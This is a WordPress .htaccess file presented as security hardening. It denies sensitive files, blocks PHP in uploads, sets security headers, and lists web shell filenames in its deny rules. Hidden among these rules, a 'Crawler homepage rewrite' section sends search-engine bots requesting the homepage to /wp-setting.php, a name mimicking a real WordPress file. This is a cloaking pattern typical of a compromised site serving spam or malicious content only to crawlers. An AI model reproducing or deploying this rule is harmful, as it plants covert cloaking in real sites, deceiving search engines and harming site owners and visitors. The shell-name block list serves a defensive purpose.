RewriteOptions inherit
# ============================================================
# .htaccess per WordPress + LiteSpeed
# Versione: hardening conservativo
# ============================================================

# BEGIN Security hardening custom

Options -Indexes

<IfModule mod_negotiation.c>
    Options -MultiViews
</IfModule>

ServerSignature Off

<FilesMatch "(?i)^(\.htaccess|\.htpasswd|\.user\.ini|wp-config\.php.*|wordfence-waf\.php|security_watch\.php|lp-footer\.php|readme\.html|license\.txt|debug\.log|error_log|composer\.(json|lock)|package(-lock)?\.json|yarn\.lock|pnpm-lock\.yaml|phpunit\.xml(\.dist)?|web\.config|\.DS_Store)$">
    <IfModule mod_authz_core.c>
        Require all denied
    </IfModule>
    <IfModule !mod_authz_core.c>
        Order allow,deny
        Deny from all
    </IfModule>
</FilesMatch>

<FilesMatch "(?i)(\.(bak|backup|old|orig|save|swp|swo|sql|sqlite|sqlite3|db|log|ini|conf|env|yml|yaml|sh|bash|pem|key|crt|csr|p12|pfx|inc|dist|sample|example)$|\.sql\.(gz|zip|bz2|xz)$)">
    <IfModule mod_authz_core.c>
        Require all denied
    </IfModule>
    <IfModule !mod_authz_core.c>
        Order allow,deny
        Deny from all
    </IfModule>
</FilesMatch>

<IfModule mod_rewrite.c>
    RewriteEngine On

    RewriteRule ^int/untitled.*134.*\.html?$ - [F,L,NC]
    RewriteRule ^int/ - [F,L,NC]
    RewriteRule ^(test|upload|uploader|uploads|shell|cmd|adminer|phpinfo|info|tinyfilemanager|alfashell|gettest)\.php$ - [F,L,NC]
    RewriteRule ^(malware|backup|backups|private|tmp|temp|logs?)(/|$) - [F,L,NC]
    RewriteRule (^|/)protected(/|$) - [F,L,NC]
    RewriteRule ^wp-content/uploads/.*\.html?$ - [F,L,NC]
    RewriteRule (^|/)\.(?!well-known(?:/|$)) - [F,L,NC]
    RewriteRule (^|/)\.[^/]+\.php$ - [F,L,NC]
    RewriteRule (^|/)(sftp-config\.json|sftp\.json|web\.config|phpinfo\.php|info\.php|test\.php|phpunit\.xml(?:\.dist)?|server-status|server-info)$ - [F,L,NC]
    RewriteRule (^|/)(backup|backups|dump|database|db|site|fullbackup|wp-config|public_html).*\.(zip|tar|tar\.gz|tgz|gz|rar|7z|sql)$ - [F,L,NC]

    RewriteCond %{QUERY_STRING} (^|&)author=[0-9]+(&|$) [NC]
    RewriteRule ^ - [F,L]

    RewriteCond %{REQUEST_METHOD} ^TRACE$ [NC]
    RewriteRule ^ - [F,L]

    RewriteRule ^wp-content/uploads/.*\.(php|php[0-9]|phtml|phar)(\.|$) - [F,L,NC]
    RewriteRule ^wp-content/(upgrade|backups|ai1wm-backups|updraft|backup-db|backupwordpress)/.*\.(php|php[0-9]|phtml|phar)(\.|$) - [F,L,NC]
    RewriteRule ^wp-admin/includes/ - [F,L,NC]
    RewriteRule !^wp-includes/ - [S=3]
    RewriteRule ^wp-includes/[^/]+\.php$ - [F,L,NC]
    RewriteRule ^wp-includes/js/tinymce/langs/.+\.php$ - [F,L,NC]
    RewriteRule ^wp-includes/theme-compat/ - [F,L,NC]
</IfModule>

<Files "xmlrpc.php">
    <IfModule mod_authz_core.c>
        Require all denied
    </IfModule>
    <IfModule !mod_authz_core.c>
        Order allow,deny
        Deny from all
    </IfModule>
</Files>

<IfModule mod_headers.c>
    Header always unset X-Powered-By
    Header always set X-Content-Type-Options "nosniff"
    Header always set X-Frame-Options "SAMEORIGIN"
    Header always set Referrer-Policy "strict-origin-when-cross-origin"
    Header always set X-Permitted-Cross-Domain-Policies "none"
    Header always set Permissions-Policy "geolocation=(), microphone=(), payment=()"
    # Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
</IfModule>

# END Security hardening custom

# BEGIN Crawler homepage rewrite
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{HTTP_USER_AGENT} (googlebot|googlebot/2.1|googlebot-image|googlebot-news|googlebot-mobile|google-inspectiontool|slurp|spider|crawl|msnbot|yahoo|yandexbot|bingbot|duckduckbot|baiduspider|exabot|sogou|ahrefbot|semrushbot|mj12bot|applebot|facebookexternalhit|twitterbot) [NC]
    RewriteCond %{REQUEST_URI} ^/$
    RewriteRule ^$ /wp-setting.php [L]
</IfModule>
# END Crawler homepage rewrite

# BEGIN WordPress
# The directives (lines) between "BEGIN WordPress" and "END WordPress" are
# dynamically generated, and should only be modified via WordPress filters.
# Any changes to the directives between these markers will be overwritten.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

# php -- BEGIN cPanel-generated handler, do not edit
# Set the “ea-php83” package as the default “PHP” programming language.
<IfModule mime_module>
  AddHandler application/x-httpd-ea-php83___lsphp .php .php8 .phtml
</IfModule>
# php -- END cPanel-generated handler, do not edit